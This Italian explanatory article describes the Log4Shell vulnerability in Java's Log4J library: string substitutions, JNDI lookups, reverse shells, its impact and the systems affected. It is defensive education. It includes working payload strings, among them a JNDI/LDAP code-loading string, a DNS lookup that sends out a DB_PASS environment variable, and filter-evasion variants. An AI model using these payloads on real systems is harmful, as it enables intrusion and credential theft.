Log4Shell: le cause e gli effetti della vul­ne­ra­bi­li­tà di Java

La falla di sicurezza Log4Shell ha scosso il mondo in­for­ma­ti­co alla fine del 2021. Senza grossi sforzi, gli ag­gres­so­ri sono stati in grado di in­fil­trar­si nei sistemi delle più grandi aziende di tutto il mondo. In questo articolo vi spie­ghe­re­mo che cos’è Log4Shell e cosa potete fare per evitare un attacco ai vostri dati.

Log4Shell co­sti­tui­sce una delle più gravi vul­ne­ra­bi­li­tà del lin­guag­gio di pro­gram­ma­zio­ne Java scoperte finora. La falla di sicurezza è stata sfruttata per aprire una reverse shell sui sistemi remoti, ma anche per carpire in­de­bi­ta­men­te dati sensibili. In presenza di una reverse shell, gli ag­gres­so­ri possono in­tro­dur­re un ulteriore codice dannoso o ad­di­rit­tu­ra prendere il controllo completo del sistema. Il National Vul­ne­ra­bi­li­ty Database (NVD) degli Stati Uniti ha clas­si­fi­ca­to la vul­ne­ra­bi­li­tà Log4Shell come “critica”, con il punteggio massimo di 10.

A oggi, Log4Shell è co­no­sciu­ta come la falla di sicurezza critica con la più ampia portata di sempre. La sua causa è stata in­di­vi­dua­ta nella libreria di logging Java Log4J, am­pia­men­te uti­liz­za­ta; quando ciò è venuto alla luce, più di 35.000 pacchetti su Maven Central, il più grande re­po­si­to­ry di Java, ri­sul­ta­va­no affetti da questa vul­ne­ra­bi­li­tà. Con Log4Shell sono stati mi­nac­cia­ti migliaia di prodotti di centinaia di fornitori; oltre a servizi cloud e software, sono state colpite anche soluzioni hardware.

Un aspetto par­ti­co­lar­men­te pre­oc­cu­pan­te è che la falla Log4Shell sus­si­ste­va già dal 2013. Ma nessuno ne era al corrente. Perciò, per i ma­lin­ten­zio­na­ti è stato un gioco da ragazzi in­fil­trar­si in una vasta gamma di sistemi, compresi quelli dei grossi provider. È pre­su­mi­bi­le che gruppi or­ga­niz­za­ti come servizi segreti e hacker abbiano sfruttato at­ti­va­men­te la vul­ne­ra­bi­li­tà per attaccare sistemi e ap­pro­priar­si di dati.

Il nome “Log4Shell” descrive già il principio di fun­zio­na­men­to di base della falla, nella quale una vul­ne­ra­bi­li­tà nella libreria di logging Java Log4J viene sfruttata per avviare una reverse shell su un sistema remoto. Ma che cosa sono esat­ta­men­te Log4J e reverse shell?

La libreria Log4J, curata dalla Apache Software Foun­da­tion, è uno degli strumenti standard più uti­liz­za­ti per il logging in Java. La fun­zio­na­li­tà di log è un com­po­nen­te es­sen­zia­le dei sistemi più grandi che generano, elaborano e me­mo­riz­za­no co­stan­te­men­te messaggi di stato. I dati re­gi­stra­ti di default ri­guar­da­no le in­for­ma­zio­ni di in­te­sta­zio­ne trasmesse ai server web all’interno di richieste HTTP. Di seguito è riportato un esempio di una voce di log di Apache; l’ultima parte è la co­sid­det­ta stringa dello user agent:

Una reverse shell è un gateway che consente agli ag­gres­so­ri di ma­ni­po­la­re o prendere il controllo di un sistema remoto. L’avvio di una reverse shell fa parte del re­per­to­rio standard dei pirati in­for­ma­ti­ci e in genere necessita di un accesso attivo al sistema in­te­res­sa­to. È proprio questo accesso che può essere creato fa­cil­men­te sfrut­tan­do la vul­ne­ra­bi­li­tà Log4Shell.

Il problema prin­ci­pa­le della vul­ne­ra­bi­li­tà Log4Shell è l’utilizzo delle co­sid­det­te string sub­sti­tu­tions (“so­sti­tu­zio­ni di stringhe”) come parte della fun­zio­na­li­tà di Log4J. Le so­sti­tu­zio­ni fa­ci­li­ta­no l’in­se­ri­men­to di contenuti dinamici nei se­gna­po­sto e il loro fun­zio­na­men­to è simile alla so­sti­tu­zio­ne delle variabili negli script di shell. In termini di sicurezza, se il contenuto delle so­sti­tu­zio­ni può essere ma­ni­po­la­to dall’esterno è un grave problema. Questo è esat­ta­men­te ciò che avviene quando vengono re­gi­stra­ti dati definiti dall’utente, come la stringa user agent.

Diamo un’occhiata a come sono costruite e come fun­zio­na­no queste so­sti­tu­zio­ni di stringhe. La sintassi generale di una so­sti­tu­zio­ne è co­sti­tui­ta da due parti: un se­gna­po­sto, che, come negli script di shell, è formato da un simbolo del dollaro e da una coppia di parentesi graffe con­te­nen­ti una coppia prefisso-nome separata da due punti:

Il prefisso indica quale tipo di so­sti­tu­zio­ne va eseguita. Il codice di esempio seguente sarà so­sti­tui­to con la versione Java del sistema in uso durante l’ese­cu­zio­ne:

Persino questo esempio, ap­pa­ren­te­men­te innocuo, sarebbe già in grado di offrire ai cy­ber­cri­mi­na­li la pos­si­bi­li­tà di ap­pro­fit­ta­re di vul­ne­ra­bi­li­tà note nella ri­spet­ti­va versione di Java. Infatti, numerose delle possibili so­sti­tu­zio­ni si rivelano critiche dal punto di vista della sicurezza del sistema in ese­cu­zio­ne. Per quanto riguarda Log4Shell, sono diventate par­ti­co­lar­men­te famose le so­sti­tu­zio­ni del lookup JNDI.

La Java Naming and Directory Interface (JNDI) permette di ri­ca­ri­ca­re con­fi­gu­ra­zio­ni da una classe Java locale. Si possono tuttavia caricare le con­fi­gu­ra­zio­ni anche da un sistema remoto uti­liz­zan­do JNDI. Nella fat­ti­spe­cie, negli attacchi Log4Shell sono stati uti­liz­za­ti server LDAP tenuti sotto controllo dagli ag­gres­so­ri. In questo modo è stato trasmesso il malware per aprire la reverse shell, poiché una classe Java è in grado di contenere un qualsiasi tipo di codice.

Pertanto, è suf­fi­cien­te so­sti­tui­re una stringa della forma ${jndi:ldap://example.com/evil-file} in un sistema con Log4J vul­ne­ra­bi­le. Una volta risolta la so­sti­tu­zio­ne, il codice dell’exploit sarà ri­ca­ri­ca­to da un server LDAP con­trol­la­to. A questo punto, l’exploit sarà eseguito sul sistema vul­ne­ra­bi­le e, a seconda dell’obiettivo degli ag­gres­so­ri, ciò consente di in­stal­la­re scareware e altri malware.

Oltre a JNDI, per gli attacchi possono essere uti­liz­za­ti anche i prefissi “env” e “base64”. Ri­por­tia­mo di seguito un riepilogo dei prefissi della so­sti­tu­zio­ne di­spo­ni­bi­li, compreso il contesto:

Una vul­ne­ra­bi­li­tà può essere sfruttata ap­pli­can­do una procedura specifica nota come exploit. Spesso per una singola vul­ne­ra­bi­li­tà esistono più exploit. Questo è il caso di Log4Shell. Quando è stato reso noto, sono emersi due tipi prin­ci­pa­li di attacco. Si dif­fe­ren­zia­no a seconda della chiamata JNDI uti­liz­za­ta in ciascun caso:

1. Ac­qui­si­zio­ne della gestione del server o del di­spo­si­ti­vo

Questo tipo di attacco prevede l’avvio di una reverse shell sul sistema di de­sti­na­zio­ne. A tal fine, possono essere uti­liz­za­ti ulteriori exploit che ri­chie­do­no la capacità di eseguire codice dannoso sul sistema di de­sti­na­zio­ne. Proprio questo è stato lo scenario con­sen­ti­to dalla re­gi­stra­zio­ne di una stringa di caratteri ap­po­si­ta­men­te preparata.

Per attaccare un server web vul­ne­ra­bi­le, occorre sem­pli­ce­men­te in­ter­ro­ga­re una risorsa qualsiasi e uti­liz­za­re una stringa di exploit come user agent. Il server web registra la stringa di exploit, dopodiché viene eseguita la so­sti­tu­zio­ne e l’attacco fa il suo corso. Vediamo un esempio di stringa di exploit re­gi­stra­ta:

2. In­ter­cet­ta­zio­ne di dati sensibili

In questo tipo di attacco, i dati sensibili vengono letti dal sistema di de­sti­na­zio­ne sotto forma di variabili di ambiente. L’exploit si basa sulla ge­ne­ra­zio­ne dinamica di una presunta ri­so­lu­zio­ne del nome DNS mediante la so­sti­tu­zio­ne. Durante il processo, il valore di una variabile di ambiente viene co­di­fi­ca­to come sot­to­do­mi­nio:

In entrambi i casi chi compie l’attacco utilizza un sistema sotto il proprio controllo come testa di ponte. Nel primo scenario si tratta di un server LDAP, il quale trasmette il malware. Nel secondo, è il name server al quale arriva la richiesta DNS a essere con­trol­la­to. Vediamo come si svolge quest’ultimo passaggio.

Poniamo che una variabile di ambiente dal nome ‘DB_PASS’ e presente sul sistema mi­nac­cia­to contenga la password per un database. Mettiamo che si tratti del valore e3Ct­DewUU­wA­fi­w­WTF­tA­h­fet­tlQ2Lp5: la stringa exploit ${jndi:dns://${env:DB_PASS}.example.com} invia dunque una richiesta al sot­to­do­mi­nio e3Ct­DewUU­wA­fi­w­WTF­tA­h­fet­tlQ2Lp5.example.com.

La richiesta DNS per example.com giunge al name server sotto controllo degli hacker. Il name server corrotto legge il valore del sot­to­do­mi­nio e lo registra. Chi ha inviato l’attacco riesce quindi in questo modo a ottenere la password del server vul­ne­ra­bi­le.

La gravità della minaccia Log4Shell deriva da una com­bi­na­zio­ne di vari fattori di rischio. Ana­liz­zia­mo i più im­por­tan­ti:

1. La falla di sicurezza si trova nella libreria di logging

Una libreria di logging come Log4J a prima vista può sembrare re­la­ti­va­men­te innocua. Rispetto alle librerie per l’au­ten­ti­ca­zio­ne o la crit­to­gra­fia, una libreria di logging è ve­ro­si­mil­men­te con­si­de­ra­ta in modo meno critico.

2. Java è uno strumento am­pia­men­te diffuso

Un punto di forza di Java come lin­guag­gio e ambiente è che funziona pressoché su tutte le piat­ta­for­me. La vul­ne­ra­bi­li­tà Log4Shell colpisce quindi un’enorme quantità di programmi e servizi. Per di più, il lin­guag­gio è par­zial­men­te integrato all’interno dei sistemi embedded, quali router e di­spo­si­ti­vi Internet of Things, tra cui sono inclusi, ad esempio, te­le­ca­me­re private e di­spo­si­ti­vi smart home.

3. Sono coinvolte numerose tec­no­lo­gie

Il problema relativo alla sicurezza dipende dalla con­ca­te­na­zio­ne di diverse tec­no­lo­gie. Anche sem­pli­ce­men­te la com­bi­na­zio­ne di Log4J, JNDI, LDAP e so­sti­tu­zio­ni di stringhe è in grado di creare la falla di sicurezza, aprendo la porta a possibili attacchi.

4. L’exploit si insinua in pro­fon­di­tà

Se una falla colpisce solo il sistema vul­ne­ra­bi­le, nel migliore dei casi il danno potrebbe rimanere lo­ca­liz­za­to. Tuttavia, ipo­tiz­zia­mo che una stringa di exploit venga ricevuta e re­gi­stra­ta tramite un’in­ter­fac­cia web. Pro­ba­bil­men­te, la stringa di exploit sarà trasmessa ai sistemi sot­to­stan­ti e si attiverà solo nel momento in cui verrà elaborata.

5. Le stringhe di exploit non sono facili da in­di­vi­dua­re

Data la com­ples­si­tà delle so­sti­tu­zio­ni possibili, sono molti i modi per camuffare un codice dannoso. Per esempio, è possibile ef­fet­tua­re so­sti­tu­zio­ni ni­di­fi­ca­te. Una stringa dalla forma ${${lower:j}ndi} non contiene di­ret­ta­men­te la stringa jndi e non può essere filtrata au­to­ma­ti­ca­men­te. La stringa ${jndi} viene quindi creata solo in fase di ri­so­lu­zio­ne. In più, è possibile offuscare parti del codice con la codifica Base64. Di con­se­guen­za, la stringa ${base64:SGVsbG8gV29ybGQhCg==} verrà valutata come “Hello World!”.

Nel momento in cui è stata resa nota la vul­ne­ra­bi­li­tà Log4Shell si sono ma­ni­fe­sta­ti attacchi diffusi ai sistemi di tutto il mondo. In par­ti­co­la­re, è stata osservata l’ac­qui­si­zio­ne di server e di­spo­si­ti­vi, ma anche il furto di dati sensibili. Dieci giorni dopo la pub­bli­ca­zio­ne degli exploit, la società di cy­ber­si­cu­rez­za Wiz ha fornito la seguente sintesi:

I sistemi acquisiti sono stati usati im­pro­pria­men­te per estrarre crip­to­va­lu­te, creare botnet e inviare spam. Sono state inoltre pre­di­spo­ste co­sid­det­te backdoor per favorire future attività criminali, come gli attacchi ran­som­ware. Qualora un attacco abbia l’obiettivo di rimanere inos­ser­va­to e di in­fil­trar­si in altri sistemi, si parla anche di Advanced Per­si­stent Threats (APT), ovvero minacce per­si­sten­ti avanzate.

Ten­den­zial­men­te, le aziende più grandi hanno risposto im­me­dia­ta­men­te alla di­vul­ga­zio­ne di Log4Shell adottando misure per pro­teg­ge­re i propri sistemi. Tuttavia, occorre con­si­de­ra­re che i sistemi privi di patch sono ancora esposti al rischio di attacchi. Infatti, chi attacca è solito eseguire una scansione del sistema di de­sti­na­zio­ne con lo scopo di in­di­vi­dua­re eventuali vul­ne­ra­bi­li­tà.

A com­pli­ca­re ul­te­rior­men­te la lotta contro la vul­ne­ra­bi­li­tà Log4Shell si aggiunge il pro­ble­ma­ti­co ri­le­va­men­to dei sistemi su­scet­ti­bi­li. Qualora le ap­pli­ca­zio­ni Java vengano eseguite come container o siano di­spo­ni­bi­li come file JAR ar­chi­via­ti o immagini di container, non è un’idea banale ve­ri­fi­ca­re la presenza di versioni vul­ne­ra­bi­li di Log4J. In mancanza di in­for­ma­zio­ni sull’utilizzo di una versione vul­ne­ra­bi­le, non è possibile pro­teg­ger­la. Questo fa sì che il sistema sia esposto agli attacchi at­tra­ver­so la falla Log4Shell.

Ancora più critici degli ambienti cloud e server risultano essere gli ambienti smart home e altri sistemi IoT o embedded. Tra questi vi sono di­spo­si­ti­vi in rete come router privati, te­le­ca­me­re di sor­ve­glian­za e simili. Dato che la vul­ne­ra­bi­li­tà Log4Shell esiste da anni, è probabile che siano ancora in uso di­spo­si­ti­vi con versioni non sicure. In caso di supporto già scaduto o di cessata attività del fornitore, in genere non sono di­spo­ni­bi­li patch o ag­gior­na­men­ti.

Su GitHub è possibile trovare un elenco completo dei software in­te­res­sa­ti da Log4Shell. A gestire l’elenco è il Nationaal Cyber Security Centrum (NCSC-NL) olandese, l’equi­va­len­te del Cyber Security Ope­ra­tions Center italiano. Con­si­de­ra­ta la grande quantità di software vul­ne­ra­bi­li, l’elenco è ordinato in base alla prima lettera del ri­spet­ti­vo pro­dut­to­re.

Log4Shell ha colpito anche l’utenza privata. Al momento della pub­bli­ca­zio­ne, molti dei servizi online più popolari erano vul­ne­ra­bi­li, tra cui, ad esempio, Minecraft, Steam, AWS e iCloud di Apple. In linea di massima, i prin­ci­pa­li provider si sono attivati tem­pe­sti­va­men­te, pertanto non è né il caso di eliminare il proprio account Steam né di passare a un’al­ter­na­ti­va ad AWS.

Se, tuttavia, si tratta di un server Minecraft personale, è ne­ces­sa­rio ag­gior­nar­lo alla versione più recente. Nelle versioni vul­ne­ra­bi­li, infatti, ai cy­ber­cri­mi­na­li ba­ste­reb­be inviare una stringa di exploit sotto forma di messaggio di chat per prendere il controllo del server.

L’hardware uti­liz­za­to a casa o in piccole aziende ed esposto alla vul­ne­ra­bi­li­tà Log4Shell continua a rap­pre­sen­ta­re una minaccia per le/gli utenti domestici. Pre­sen­ta­re un codice a barre ap­po­si­ta­men­te preparato per una te­le­ca­me­ra di sor­ve­glian­za, ad esempio, può rivelarsi una con­di­zio­ne suf­fi­cien­te per prendere il controllo del di­spo­si­ti­vo.